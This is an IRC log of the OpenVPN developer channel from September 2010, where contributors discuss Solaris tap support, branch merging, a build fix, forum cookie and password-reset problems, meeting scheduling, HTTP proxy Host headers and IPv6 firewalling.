14:37 <@cron2> might help in getting some work time allocated :-) 14:38 <@d457k> sure but theres always loads of other stuff that needs attention 14:38 <@cron2> yeah, I know how paid-for work works... 14:40 <@d457k> jamesyonan seems to be absent atm. I'll idle for a while. see you around 14:43 -!- dazo is now known as dazo_afk 15:00 -!- Netsplit *.net <-> *.split quits: @dazo_afk 15:01 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:01 -!- Netsplit over, joins: dazo_afk 15:32 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 15:36 <@cron2> ok, to bed now 15:43 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 15:49 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:55 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 15:56 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 15:56 <@d457k> yah, me too 15:57 -!- d457k [~heiko@88.130.212.77] has quit [Quit: Konversation terminated!] 16:08 < ecrist> ok ##openvpn has moved to #openvpn, forward in place, old channel muted, set invite only --- Log closed Thu Sep 23 16:52:43 2010 --- Log opened Thu Sep 23 16:53:39 2010 16:53 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 16:53 -!- Irssi: #openvpn-devel: Total of 14 nicks [5 ops, 0 halfops, 0 voices, 9 normal] 16:54 -!- Irssi: Join to #openvpn-devel was synced in 39 secs 16:56 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 22:29 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 23:13 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel --- Day changed Fri Sep 24 2010 00:18 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Log closed Fri Sep 24 01:47:42 2010 --- Log opened Fri Sep 24 01:47:47 2010 01:47 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 01:47 -!- Irssi: #openvpn-devel: Total of 18 nicks [7 ops, 0 halfops, 0 voices, 11 normal] 01:48 -!- Irssi: Join to #openvpn-devel was synced in 32 secs 02:28 -!- dazo_afk is now known as dazo 04:29 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Remote host closed the connection] 06:10 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:36 -!- Hien [7b1446af@gateway/web/freenode/ip.123.20.70.175] has joined #openvpn-devel 06:45 -!- Hien [7b1446af@gateway/web/freenode/ip.123.20.70.175] has quit [Quit: Page closed] 07:59 <@cron2> ho hum, time to get the solaris tap stuff incorporated 08:00 <@cron2> just tested on OpenSolaris 06.2009/i386 and while OpenVPN itself works nicely, "topology subnet" fails because it wants to do tap-style ifconfig which isn't implemented 08:00 <@cron2> (on my TODO list anyway) 08:21 <@dazo> cron2: cool! you got the solaris tap driver patch in Trac on your radar as well? 08:28 <@cron2> yep 08:44 <@dazo> thx :) 08:44 <@dazo> is this something you think will be good enough for inclusion into 2.2? Or you want to wait to 2.3? 09:01 <@cron2> this is a tricky question. "my" tun.c already looks quite different than 2.2-tun.c, so if we include the solaris/tap patches in 2.2, it will cause a merge conflict with the 2.1-based IPv6 payload stuff (which has to change the same places in tun.c to get the ipv6 ifconfig stuff done) 09:02 <@cron2> but it would be doable, of course. 09:02 <@cron2> change in 2.2, cherrypick that change to feat_ipv6_payload, adapt for IPv6, commit there 09:04 <@cron2> listening to myself, this sounds like a good plan :-) 09:04 <@cron2> which branch should this go to? 09:05 <@cron2> beta2.2? 09:11 <@cron2> dazo: btw, did you already commit the change to allmerged that "bootstrap.sh" should create a version.m4 with "2.x-testing" in it? 09:11 <@cron2> either my git repository is confused or it's not there yet 09:12 <@dazo> cron2: I don't recall right now ... I have quite some cleanup to do in my trees after JJO' 09:12 <@dazo> s conflicts 09:12 <@dazo> I just haven't had time to look much at ovpn stuff this week at all 09:12 <@dazo> (and weekend is busy too) 09:13 <@dazo> It is in my tree somehow, somewhere ... I'll put it on my todo list, to check it out 09:13 <@cron2> ok, thanks (btw, how did the exam go?) 09:14 <@dazo> hopefully good ... I thought we would have access to the study book during the exam, which we couldn't .... so that gave an extra challenge, recalling all we needed to think about :) 09:16 <@dazo> https://www.redhat.com/certification/ex423/prep_guide/ ... close to the end is the list of things we should know for the exam 09:16 < vpnHelper> Title: redhat.com | EX423 Prep Guide (at www.redhat.com) --- Log opened Fri Sep 24 09:45:25 2010 09:45 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 09:45 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 0 voices, 10 normal] 09:45 !asimov.freenode.net [freenode-info] channel trolls and no channel staff around to help? please check with freenode support: http://freenode.net/faq.shtml#gettinghelp 09:45 -!- Irssi: Join to #openvpn-devel was synced in 34 secs 10:36 * ecrist gives up on openbsd 10:42 <@cron2> heh :) 10:49 <@cron2> hmmm... 10:49 <@cron2> openvpn.log:Fri Sep 24 17:45:31 2010 IPv6 routes on TAP devices are going to fail on some platforms (need gateway spec) 10:49 < ecrist> it installs without a hitch on my dell 1650, but hangs halfway through boot. 10:49 <@cron2> whoever coded that message... he's so right... :-) 10:50 <@cron2> ecrist: my gut feeling says "must be ACPI related"... have seen that with FreeBSD if the bios ACPI tables were broken enough (and Dell has a bad reputation) 10:53 -!- dazo is now known as dazo_afk 10:53 < ecrist> possibly. I stopped caring as openbsd has been fighting us for three days now 10:54 <@cron2> why did you try openBSD? specific reason, "just to see"? 10:54 < ecrist> we're a 100% freebsd shop and were evaluating openbsd for use on our firewalls. 10:54 <@cron2> ah 10:54 < ecrist> freebsd's version of pf is WAY out of date compared to obsd 4.7 10:54 <@cron2> that's just what I wanted to type :) 11:56 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:56 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:58 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Remote host closed the connection] --- Log closed Fri Sep 24 13:40:08 2010 --- Log opened Fri Sep 24 13:40:13 2010 13:40 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 13:40 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 0 voices, 8 normal] 13:40 -!- Irssi: Join to #openvpn-devel was synced in 37 secs 13:41 -!- vpnHelper [~vpn@butters.secure-computing.net] has joined #openvpn-devel 13:41 -!- vpnHelper [~vpn@butters.secure-computing.net] has quit [Changing host] 13:41 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:04 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 265 seconds] 14:04 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 14:05 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 14:28 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 16:04 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 23:09 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 23:09 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 23:09 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Client Quit] --- Day changed Sat Sep 25 2010 07:10 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 07:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:51 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 264 seconds] 09:53 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:52 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 255 seconds] 19:01 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sun Sep 26 2010 00:38 < vpnHelper> RSS Update - tickets: #58: common_name is blank in client-connect script <https://community.openvpn.net/openvpn/ticket/58> 02:03 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:26 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 02:26 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 02:26 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 02:26 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:32 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 02:36 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:38 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 06:19 < vpnHelper> RSS Update - tickets: #59: Tap version condition error on Win32 <https://community.openvpn.net/openvpn/ticket/59> 08:14 < vpnHelper> RSS Update - tickets: #60: --auth-user-pass does not work after TLS soft reset disconnect <https://community.openvpn.net/openvpn/ticket/60> 09:58 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:44 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:24 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:37 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 12:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:54 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:31 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 14:33 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:37 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 15:52 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 23:03 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Mon Sep 27 2010 01:00 -!- raidzxx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 01:04 -!- raidz [~Andrew@seance.openvpn.org] has quit [Ping timeout: 240 seconds] 01:27 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 02:22 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:26 -!- mape2k1 [~jabber@2a01:4f8:120:5121:6::5222] has joined #openvpn-devel 02:53 -!- helmut [helmut@subdivi.de] has quit [Remote host closed the connection] 02:55 -!- dazo_afk is now known as dazo 03:37 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] 04:50 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel 05:30 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 05:30 < djc> dazo: https://bugs.gentoo.org/show_bug.cgi?id=338540 05:30 < vpnHelper> Title: Gentoo Bug 338540 - net-misc/openvpn-2.1.2 fails to build with gcc-4.5.1 (at bugs.gentoo.org) 05:32 < djc> or anyone else, really... 05:33 <@cron2> ut dies= 05:33 <@cron2> ugh 05:33 <@cron2> it does? 05:34 < djc> well, I haven't tried it 05:34 <@cron2> ah, that's the "build without crypto" thing 05:35 <@cron2> Peter Korsgaard has also mailed this to openvpn-devel 05:35 < djc> good, so it will be fixed in 2.1.4 or so? 05:36 <@cron2> it's not actually related to gcc-4.5.1, it's a problem when compiling with --disable-crypto (at least that's what the mailing list posting says) 05:37 <@cron2> the fix is pretty straightforward, so yes, we could do 2.1.4 and 2.2-beta4 - but so far nobody has ACKed it on the list, so it's not in 05:37 <@cron2> (and dazo is too busy...) 05:39 < djc> cron2: thanks, I've commented on the bug 05:45 <@dazo> djc: I hope this week will be a bit better, so I'll be doing some OpenVPN stuff this week ... 05:45 * dazo got a lot of stuff to fix up in the git tree now 06:27 -!- mape2k1 [~jabber@2a01:4f8:120:5121:6::5222] has quit [Quit: Leaving.] 06:54 -!- mape2k1 [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 07:38 -!- mape2k1 [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 07:57 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 09:07 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 09:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:13 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 10:39 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 11:55 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:10 -!- dazo is now known as dazo_afk 15:01 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 15:01 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:03 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 15:08 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:31 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 18:24 -!- Netsplit *.net <-> *.split quits: krzee, @d12fk 18:28 -!- Netsplit over, joins: krzee, @d12fk --- Day changed Tue Sep 28 2010 00:14 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:28 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 02:55 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 02:55 -!- mode/#openvpn-devel [+o d457k] by ChanServ 02:55 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 02:56 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 276 seconds] 02:56 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:46 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 05:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:48 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:59 -!- mape2k1 [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 06:05 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 272 seconds] 06:25 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 06:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:43 -!- mape2k1 [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 09:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Quit: Leaving] 09:57 -!- d457k is now known as d12fk 12:52 -!- d303k [~heiko@88.130.199.125] has joined #openvpn-devel 12:52 -!- mode/#openvpn-devel [+o d303k] by ChanServ 13:11 -!- d303k [~heiko@88.130.199.125] has quit [Read error: Operation timed out] 13:11 -!- d303k [~heiko@vpn.astaro.de] has joined #openvpn-devel 13:11 -!- mode/#openvpn-devel [+o d303k] by ChanServ 13:35 -!- dit [~None@adsl-99-74-24-100.dsl.hstntx.sbcglobal.net] has joined #openvpn-devel 13:35 < dit> who can explain me how to connect 13:35 < dit> on this shit 13:37 -!- d457k [~heiko@88.130.199.125] has joined #openvpn-devel 13:37 -!- mode/#openvpn-devel [+o d457k] by ChanServ 13:38 < dit> ? 13:38 < dit> ? 13:38 < dit> who can help me 13:38 -!- d303k [~heiko@vpn.astaro.de] has quit [Ping timeout: 240 seconds] 13:45 -!- dit [~None@adsl-99-74-24-100.dsl.hstntx.sbcglobal.net] has quit [] 14:07 < krzee> step 1... find the help channel 14:07 <@cron2> already left 14:07 < krzee> yup 15:03 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 15:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:11 <@mattock> krzee, ecrist: the cookie domain in ACP -> Server configuration -> Cookie settings is wrong (ovpnforum.com) 15:12 <@mattock> I'm pretty sure that's the reason for buggy autologin behavior 15:12 <@mattock> I won't fix it right now, don't have time to fix things if they break... I can fix it tomorrow afternoon 15:14 < krzee> sounds good 15:14 <@mattock> krzee: good that you reported this, my forums usage is so simple that I did not even notice 15:17 < krzee> np 15:24 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 15:55 -!- d457k [~heiko@88.130.199.125] has quit [Ping timeout: 245 seconds] 20:40 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Operation timed out] 20:43 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 20:43 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 20:51 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 20:51 -!- mode/#openvpn-devel [+o d457k] by ChanServ 20:53 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 272 seconds] 21:00 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 21:05 -!- d303k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 21:05 -!- mode/#openvpn-devel [+o d303k] by ChanServ 21:09 -!- d457k [~heiko@88.130.201.190] has joined #openvpn-devel 21:09 -!- mode/#openvpn-devel [+o d457k] by ChanServ 21:14 -!- d303k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 252 seconds] 21:15 -!- d303k [~heiko@vpn.astaro.de] has joined #openvpn-devel 21:15 -!- mode/#openvpn-devel [+o d303k] by ChanServ 23:47 < ecrist> krzee: ovpnforum.com should be shut down at this point. 23:48 < ecrist> is the cookie issue really with the install at openvpn.net? 23:53 < ecrist> I've fixed the openvpn.net installation. Leaving the old forum vhost alone, since it isn't functional at this point. --- Day changed Wed Sep 29 2010 00:13 < ecrist> I think we need some device-specific openvpn forum categories for support with such things as dd-wrt, etc. 00:13 < ecrist> thoughts? 01:24 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 01:24 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 01:24 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 01:25 <@cron2> is there enough "special-category" traffic? 01:25 <@cron2> if there is, all for it - otherwise I don't think there is much benefit 02:40 -!- d457k [~heiko@88.130.201.190] has quit [Ping timeout: 276 seconds] 03:30 -!- dazo_afk is now known as dazo 04:05 -!- mattock [~samuli@gprs-prointernet-ff326a00-5.dhcp.inet.fi] has joined #openvpn-devel 04:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:05 <@dazo> cron2: http://msdn.microsoft.com/en-us/library/ff547649.aspx ... do you think this can be a workaround for -testing wintap drivers? 04:05 < vpnHelper> Title: Installing Test-Signed Driver Packages (Windows Driver Kit) (at msdn.microsoft.com) 04:05 <@dazo> mattock: ahh ... just in time :) ^^^ 04:06 <@cron2> dazo: yes, this can be used for development and "closed group" testing 04:07 <@dazo> I just stumbled upon that when I was looking for KVM virtio drivers for Windows 04:57 -!- mattock [~samuli@gprs-prointernet-ff326a00-5.dhcp.inet.fi] has quit [Ping timeout: 272 seconds] 05:06 <@cron2> so where's mattock hiding? 05:14 <@dazo> :) 06:14 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 06:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:16 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: No route to host] 06:16 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 06:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:17 <@cron2> mattock, dazo: since I won't make tomorrow's meeting either, not having it in the first place sounds good to me :-) 06:20 <@dazo> Just thinking out loud ... Maybe we should consider to go down from weekly to bi-weekly meetings, and rather let the bi-weekly meetings last a bit longer? (Say, a hard 2h limit) 06:21 <@cron2> since we *do* get work done between meetings, this would work for me 06:23 <@mattock1> what about just having a meeting when one is needed, but sending notices, say, 2 days beforehand so people can schedule 06:24 <@mattock1> we could perhaps use some web service to select a time that suits the people that are interested best... doodle or similar 06:25 <@cron2> don't overengineer :) 06:25 <@mattock1> am I? :) 06:25 <@cron2> we don't need technical solutions yet :-) 06:26 <@mattock1> aren't technical solutions the fix to all problems? why bother taking people into account? :D 06:26 <@cron2> I think we first need to agree "what do we need meetings for" and then see how to schedule/solve taht 06:26 <@mattock1> cron2: agreed 06:26 <@mattock1> I think the meetings have been useful for a couple of things... 06:27 <@mattock1> discussion issues that have come up on the mailing list but nobody has reacted (actively) to (e.g. patches) 06:27 <@mattock1> and also to discuss issues with James, who is occasionally hard to reach 06:27 <@mattock1> that has improved somewhat lately 06:27 <@cron2> yes, be a focal point for "please comment on this *now*" 06:28 <@cron2> and also to bring in people that are not hanging around in IRC all day anyway (I'm not looking at anybody) 06:28 <@dazo> I personally like that we have some regularity in regards to the meetings ... also as it is our primary contact point with James 06:29 <@dazo> up to now, it has been important with weekly meetings, as it's been a lot of things to follow up ... and also to be sure we go along the lines James would like to see as well 06:29 <@mattock1> dazo: yes, meetings are good for keeping in contact with James 06:29 <@cron2> agree 06:29 <@cron2> so I think "fixed schedule" is better fornow 06:30 <@mattock1> which is more important: fixed schedule (e.g. once every week) or fixed meeting time? 06:31 <@mattock1> I was just wondering that if something comes up just after a meeting and next meeting is in two weeks, that's quite a long time to wait 06:31 <@dazo> Fixed meeting time is most important, as it's easier to plan it 06:31 <@cron2> we can always do interim discussions 06:31 <@dazo> for the things in between ... we have the mailing list 06:31 <@cron2> +1 06:31 <@dazo> and IRC for really urgent matters 06:31 <@mattock1> +1 06:33 <@mattock1> so a summary: 06:33 <@mattock1> - fixed meeting time = good 06:33 <@mattock1> - once a week is probably too much 06:33 <@mattock1> - meetings are useful for discussing issues with james 06:33 <@mattock1> - meetings are useful for discussing issues to which nobody has reacted on the ml/irc 06:34 <@dazo> - meetings are useful for starting long term planning (ie: OpenVPN 3) 06:34 <@mattock1> dazo: +1 06:35 <@mattock1> perhaps we should discuss this on the -devel ml... 06:36 <@mattock1> historically too many devs haven't been able to make it to meetings... these guys might have ideas about arranging them differently 06:37 <@mattock1> krzee: I'll try to fix the forums.openvpn.net cookie issue now 06:37 <@dazo> good idea! 06:38 <@dazo> but put the emphasis that we're discussing changes because things begins to flow better, not that we want to scale down anything - and that there now are more developers visibly available in the community 06:39 <@mattock1> yeah, agreed 06:39 <@mattock1> I think I'll postpone the discussion until after my trip, if you don't mind 06:43 <@mattock1> krzee: cookie issue fixed... you need to remove forums.openvpn.net cookies from your browser for the fix to take effect 06:44 <@dazo> mattock1: no problem! This is a "no stress topic" 06:44 * dazo heads out for a late lunch 06:46 <@mattock1> one more thing about the meetings... I think having a couple of possible times for the meeting would help... 18:00 UTC rules out half of the globe, basically 06:52 <@d303k> mattock1: isn't that the time James is available 06:54 <@mattock1> d303k: yep... I think that should be the primary meeting time. But I think it might make sense to have a second meeting time which could be used occasionally. Especially when James' presence is not a must... 06:54 <@mattock1> _if_ that would help lure other devs to the meetings :) 06:55 <@d303k> Well, are there any known asian developers? 06:55 <@d303k> and the auzzies of course 06:56 <@mattock1> not sure... usually asians are not very active in western OSS projects 06:56 <@mattock1> aussies probably are 06:57 <@mattock1> anyways, I think we should ask about this option on the ml 06:57 <@d303k> ok, gotta run 07:02 <@mattock1> btw. this should probably be discussed later: http://sourceforge.net/mailarchive/forum.php?thread_name=4CA0B3A3.5030506%40in.tum.de&forum_name=openvpn-devel 07:02 < vpnHelper> Title: SourceForge.net: OpenVPN: openvpn-devel (at sourceforge.net) 07:13 <@d303k> I wouldn't code it that the Host header is always sent. Too many broken HTTP clients/servers/proxies out there to get that through without regressions 07:14 <@cron2> I'd disagree :-) 07:14 <@d303k> I'd got for leave the 1.0 case alone and send the Host header fpr 1.1 07:14 <@cron2> Since over 10 years, all browsers on the market always sent the Host: header 07:14 <@cron2> ok, yeah 07:14 <@d303k> but they do it for http/1.1 07:14 <@cron2> yep 07:15 <@cron2> (they did it for http/1.0 as well, but there are no browsers out there anymore that do http/1.0) 07:15 <@d303k> clearly the host header must be part of any 1.1 request, no objections 07:15 <@cron2> I'd go for "default is http/1.1 with Host: header, and the options falls back to http/1.0" 07:15 <@d303k> sounds reasonable 07:16 <@d303k> but wouldn't hat break ovpn deployments out there 07:16 <@d303k> .. possibly 07:17 <@cron2> it might, if there is a proxy around that doesn't understand 1.1 07:18 <@cron2> if I were to decide this, I'd just document the change and get over it :-) 07:18 <@d303k> breaking that in minor release is legit =) 07:18 <@cron2> well, maybe add the host: header for 2.1.4, and change the default 1.0->1.1 in 2.2 07:19 <@mattock1> I just setup openvpn-builds and openvpn-commits lists, but they are still "Private"... to avoid people subscribing to them just yet 07:19 <@mattock1> I need to reduce buildbot's spamminess first 07:53 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 07:53 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 08:15 <@dazo> cron2: [OT] http://gcn.com/articles/2010/09/28/kundra-sets-new-ipv6-deadlines.aspx 08:15 < vpnHelper> Title: Vivek Kundra sets new IPv6 deadlines -- Government Computer News (at gcn.com) 08:16 <@dazo> (somebody is trying to get a big ball to roll in the USofA) 08:17 <@cron2> not bad, but way too slow 08:17 <@cron2> they should have been ready by now 08:17 <@dazo> heh ... somehow, I expected such a response from you ;-) 08:18 <@cron2> I was really happy seeing the headline, and then I look at the timeline "end of 2012, end of 2014"... 08:19 <@dazo> yeah ... I know that several older Linux distroes (RHEL4 f.ex) got partly IPv6 support years ago, to make them attractive for and comply to the US government people requirements 08:21 <@cron2> huh, weird 08:21 <@dazo> RHEL5 got almost complete IPv6 support ... one thing I'm missing (which I consider an important part of this, thus not saying 100% complete) is stateful IPv6 firewalling .... only stateless is supported 08:21 <@cron2> ah "years ago", I first read this as "we had to backport IPv6 to RHEL4" 08:21 <@cron2> what's the current RHEL version? 08:22 <@dazo> heh ... well, some userspace stuff was backported to RHEL4 .... mostly network daemons and such stuff 08:23 <@dazo> the latest is RHEL5.5 .... 5.6 will come later this year I believe ... and then RHEL6 is in beta2 now (based on Fedora 12+) 08:23 <@cron2> so RHEL5.<anything> doesn't do IPv6 stateful firewalling? 08:24 <@dazo> nope ... and most probably wont :( The kernel is based on 2.6.18, and its too risky to backport the needed infrastructure from 2.6.20 kernels (where IPv6 stateful match arrived) 08:24 <@dazo> this will be a selling point for RHEL6, though :) 08:24 <@cron2> indeed :-) "everybody needs IPv6 now, please upgrade to RHEL6! now!" 08:25 <@dazo> it even "rimes" ... IPv6 with RHEL6 :-P 08:38 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 08:53 < ecrist> ping mattock/andrew 09:03 <@mattock1> ecrist: yeah 09:04 < ecrist> password reset doesn't work on the forum. 09:04 < ecrist> I've gotten a few emails to that effect now. 09:07 <@mattock1> i assume the mod_rewrite has stopped working after the server migration or something... 09:08 < ecrist> cron2: instead of RHEL, you could always use freebsd + pf. :) 09:08 < ecrist> sounds like it 09:08 < ecrist> account creation seems fine, though. 09:09 <@mattock1> ecrist: I'll take a quick look later today to see what I can do 09:10 <@cron2> ecrist: yes, the wonders of pf. "Oh, here comes a fragmented IPv6 packet. Drop." 09:10 <@cron2> (reassembly is not supported for IPv6) 09:10 < ecrist> is that a protocol issue, or a pf issue? 09:11 < ecrist> if it's pf, is it fixed in later versions? 09:11 <@cron2> it's a pf issue, and from what I heard, it was just not implemented yet, not even in current openbsd 09:12 < ecrist> fuck beans 09:12 <@cron2> I think the original argument went along the lines of "we don't want to steenking fragmentation, just use smaller MSS if needed" but that starts to fail for DNS+IPv6+DNSSEC - largish UDP packets that can only be fragmented or dropped 09:12 <@cron2> s/want to/want no/ 09:13 <@cron2> (I do not know whether anyone is working on it - haven't followed development on *BSD-current for FreeBSD or OpenBSD for a while) 10:00 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 10:00 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 10:00 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 10:55 <@mattock1> ecrist: I fixed the mod_rewrite rule 10:55 < ecrist> sweet, let me check and I'll report back to the latest user with issues. 10:56 <@mattock1> I had mistakenly left the "sid=.*" part to the rewritecond... and that's only present if you have a session 10:56 < ecrist> mattock1: there is no 'forgot password' link for pwm. :( 10:56 <@mattock1> ecrist: yeah, I was just about to say that 10:56 <@mattock1> I'll check if that's just disabled 10:56 < ecrist> thanks. 11:03 <@mattock1> there is support for password recovery in the pwm (1.4.3) we use... but I think it's based on secret questions or something... I'll check the later pwm versions 11:06 